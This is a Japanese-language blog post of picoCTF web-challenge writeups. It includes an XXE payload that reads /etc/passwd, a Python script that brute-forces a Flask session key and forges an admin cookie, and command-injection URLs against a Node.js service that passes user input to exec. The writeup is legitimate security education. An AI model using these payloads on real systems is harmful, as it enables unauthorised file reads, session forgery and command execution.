過程が大事

学んだことを適当にアウトプットします

picoCTF Writeup (Web問)その4

Some Assembly Required 2(110pts)

Description

http://mercury.picoctf.net:48841/index.html

入力フォームがあり、JSを見るとバイナリフォーマットのため、wasmをみるとそれっぽいのがある

CyberChefのmagicで確認するとflagっぽいのが見つかった

Super Serial(130pts)

Description

Try to recover the flag stored on this website http://mercury.picoctf.net:14804/ ヒント:The flag is at ../flag

いらなさそうな部分を消してpicoCTFの形にするとflagになる

ログインフォームがあり、SQLインジェクション試したけどできなかった
robots.txtを見ると以下の表示になり/admin.phpsや/admin.phpにアクセスするが、何も表示されなかった

User-agent: *
Disallow: /admin.phps

index.phpsを見るとcookie.phpauthentication.phpというファイルがあり、ログインに成功した時、名前がloginで値がurlencode(base64_encode(serialize($perm_res)))のcookieが割り当てられることがわかる。

authentication.phpを見ると「Welcome guest」と表示されたため、一応ログインには成功したと判断する。

flagを入手するためにはCookieを変更する必要があると考え、cookie.phpsにアクセスすると、以下の表示が出た。

ヒントより、flagの場所は../flagだとわかっているため、以下のphpを実行し、cookieの値を生成する。

生成した値を名前loginでcookieに追加し、authentication.phpにアクセスするとflagを入手できる。

MatchTheRegex(100pts)

Description

How about trying to match a regular expression The website is running here.

入力フォームがあり、タイトルから正規表現関係だと予想できる。

ページのhtmlソースを見ると、正規表現をしてそうなコメントがあった。

^p.....FになるようにpicoCTFと入力するとflagが得られた

findme(100pts)

Description

Help us test the form by submiting the username as test and password as test! The website running here

入力フォームがあり、username:test、password:testと入力したら以下の表示が出た。

指示通りpasswordをtest!で送信すると以下のページに遷移した。フォームに入力をしてflagを見つけるっぽい?

色々入力しても何も出てこないのでフォーム入力は恐らく意味がないとわかった。
送信からのページ遷移が少し遅かったのでburp suiteで確認すると/next-page/id=cGljb0NURntwcm94aWVzX2Fsnext-page/id=bF90aGVfd2F5X2EwZmUwNzRmfQ==を経由していることがわかった。

page/idはbase64エンコードされており、もしやと思い、くっつけてデコードするとflagが入手できた。

SOAP(100pts)

Description

The web project was rushed and no security assessment was done. Can you read the /etc/passwd file? Web Portal Tags: XXE

Detailsという3つのボタンがある

それぞれのDetailsをクリックすると、下部に以下の文章が表示された
- Special Info:::: University in Kigali, Rwanda offereing MSECE, MSIT and MS EAI
- Special Info:::: Created By security and privacy experts
- Special Info:::: Researches on Digital Public goods e.g MOSIP

問題のTagより、XXE攻撃であると考えられるため、XMLを使用しているかdevtoolsでソースを確認する。

確認したところ、ユーザーが"Details"ボタンをクリックしたときにイベントリスナーが発火し、checkDetails関数が実行され、Content-Typeがxmlに設定され、リクエストボディはpayload関数によって生成されたXMLデータとなることがわかった。

detailをクリックすればxmlリクエストが送られるため、burp suiteでdetailクリック時のリクエストの値を以下のように変更し、し送信してXXE攻撃を行うとレスポンスでflagが得られた。

POST /data HTTP/1.1
Host: saturn.picoctf.net:51760
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
Accept-Language: ja,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: http://saturn.picoctf.net:51760/
Content-Type: application/xml
Content-Length: 125
Origin: http://saturn.picoctf.net:51760
Connection: close


<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [<!ENTITY h SYSTEM "file:///etc/passwd">]>
<data><ID>3&h;</ID></data>
(手法の解説)

1.DOCTYPE 宣言: リクエストの最初の部分でXMLのDOCTYPEが宣言されている。これはXML文書の構造を定義する部分

    <!DOCTYPE data [<!ENTITY h SYSTEM "file:///etc/passwd">]>

ここでENTITY h SYSTEM "file:///etc/passwd"と定義しているのは、新たなエンティティhを作成し、そのエンティティが/etc/passwdファイルの内容を保持するように設定

2.エンティティの利用: dataタグ内のIDタグでエンティティ&h;を使用
xml <data><ID>3&h;</ID></data> XMLパーサがこのリクエストを処理する際、&h;/etc/passwdの内容に展開される。これによって/etc/passwdの内容がWebアプリケーションから読み取られ、レスポンスに含まれる形となる。

3.結果: サーバーがこのXMLを処理した結果、/etc/passwdファイルの内容がレスポンスに含まれ、flagを入手できる

Description

The developer of this website mistakenly left an important artifact in the website source, can you find it? The website is here

ホームページになっており、このページ以外に遷移はできない

devtoolsで探してみたが重要そうな情報は見つからなかった
シェルで探してみるとflagが出た

$wget --recursive --no-parent http://saturn.picoctf.net:59405/index.html
$grep -r "picoCTF" *   
saturn.picoctf.net:59405/css/style.css:/** banner_main **picoCTF**{1nsp3ti0n_0f_w3bpag3s_8de925a7} **/

Most Cookies(150pts)

Description

Alright, enough of using my own encryption. Flask session cookies should be plenty secure! server.py http://mercury.picoctf.net:35697/

アクセスすると入力フォームが1つあり、薄くsnickerdoodleとある

snickerdoodleと入力して送信すると、以下の表示が出る。このことから、cookieの値を割り出さないとflagが得られないと考えた

与えられたserver.pyを見ると、配列cookie_namesからランダムに秘密鍵が選ばれ、session["very_auth"]"admin"の時、flagを表示せるようになっている。

以下のpythonプログラムを組み、cookieの値を得る

from flask.sessions import SecureCookieSessionInterface

from itsdangerous import URLSafeTimedSerializer

  

# 利用可能なクッキーの名前のリスト

cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"]

  

# snickerdoodleを入力した時のcookieの値
given_cookie = "eyJ2ZXJ5X2F1dGgiOiJzbmlja2VyZG9vZGxlIn0.ZSeFiA.RFTt5mz2x5deLHXSpo-2v-zxuIA"

  

# カスタムしたセッションインターフェース
class SimpleSecureCookieSessionInterface(SecureCookieSessionInterface):

    # 与えられた秘密鍵でシリアライザを取得
    def get_signing_serializer(self, secret_key):

        signer_kwargs = dict(key_derivation=self.key_derivation, digest_method=self.digest_method)

        return URLSafeTimedSerializer(secret_key, salt=self.salt, serializer=self.serializer, signer_kwargs=signer_kwargs)

  

# クッキーをデコードする関数
def decode_cookie(secret_key, cookie):

    sscsi = SimpleSecureCookieSessionInterface()

    signing_serializer = sscsi.get_signing_serializer(secret_key)

    return signing_serializer.loads(cookie)

  

# クッキーをエンコードする関数
def encode_cookie(secret_key, session_data):

    sscsi = SimpleSecureCookieSessionInterface()

    signing_serializer = sscsi.get_signing_serializer(secret_key)

    return signing_serializer.dumps(session_data)

  

# 各秘密鍵を試してクッキーをデコード

for secret in cookie_names:

    try:
        # クッキーをデコード
        decoded_data = decode_cookie(secret, given_cookie)

        # デコードに成功した場合、'very_auth' を 'admin' に変更してエンコード
        decoded_data["very_auth"] = "admin"
        forged_cookie = encode_cookie(secret, decoded_data)
        print(f"使用した秘密鍵: {secret}")
        print(f"改ざんされたクッキー: {forged_cookie}")
        break

    except:

        continue

(プログラムの流れ)
1. cookie_namesの各要素(これが秘密鍵の候補)を一つずつ試す
2. その秘密鍵で既知のCookiegiven_cookie)をデコードしようする
3. デコードに成功したら、セッションデータ内の"very_auth"の値を"admin"に変更。
4. その後、改ざんされたセッションデータを再度エンコードして新しいCookieを生成。

出力されたCookieはアプリケーションで"admin"として認識される。

プログラムを実行すると以下のような出力がされ、これをcookieの値に変更してリロードするとflagが得られる

caas(150pts)

Description

Now presenting cowsay as a service File index.js

以下のURLに任意のmessageを付けてアクセスできるみたい

https://caas.mars.picoctf.net/cowsay/hello の結果

index.jsを見ると、exec関数が直接ユーザーからの入力(req.params.message)を受け取っているため、任意コードが実行できそう

const express = require('express');

const app = express();

const { exec } = require('child_process');

app.use(express.static('public'));

app.get('/cowsay/:message', (req, res) => {
  exec(`/usr/games/cowsay ${req.params.message}`, {timeout: 5000}, (error, stdout) => {
    if (error) return res.status(500).end();
    res.type('txt').send(stdout).end();
  });
});

app.listen(3000, () => {
  console.log('listening');
});

https://caas.mars.picoctf.net/cowsay/hello;%20ls と入力すると、lsが実行でき、falg.txtというflagが入ってそうなファイルを見つけた
ここで、「;」はシェルを1行で書くためのもので「%20」はスペース

https://caas.mars.picoctf.net/cowsay/hello;%20cat%20falg.txt でflagが入手できた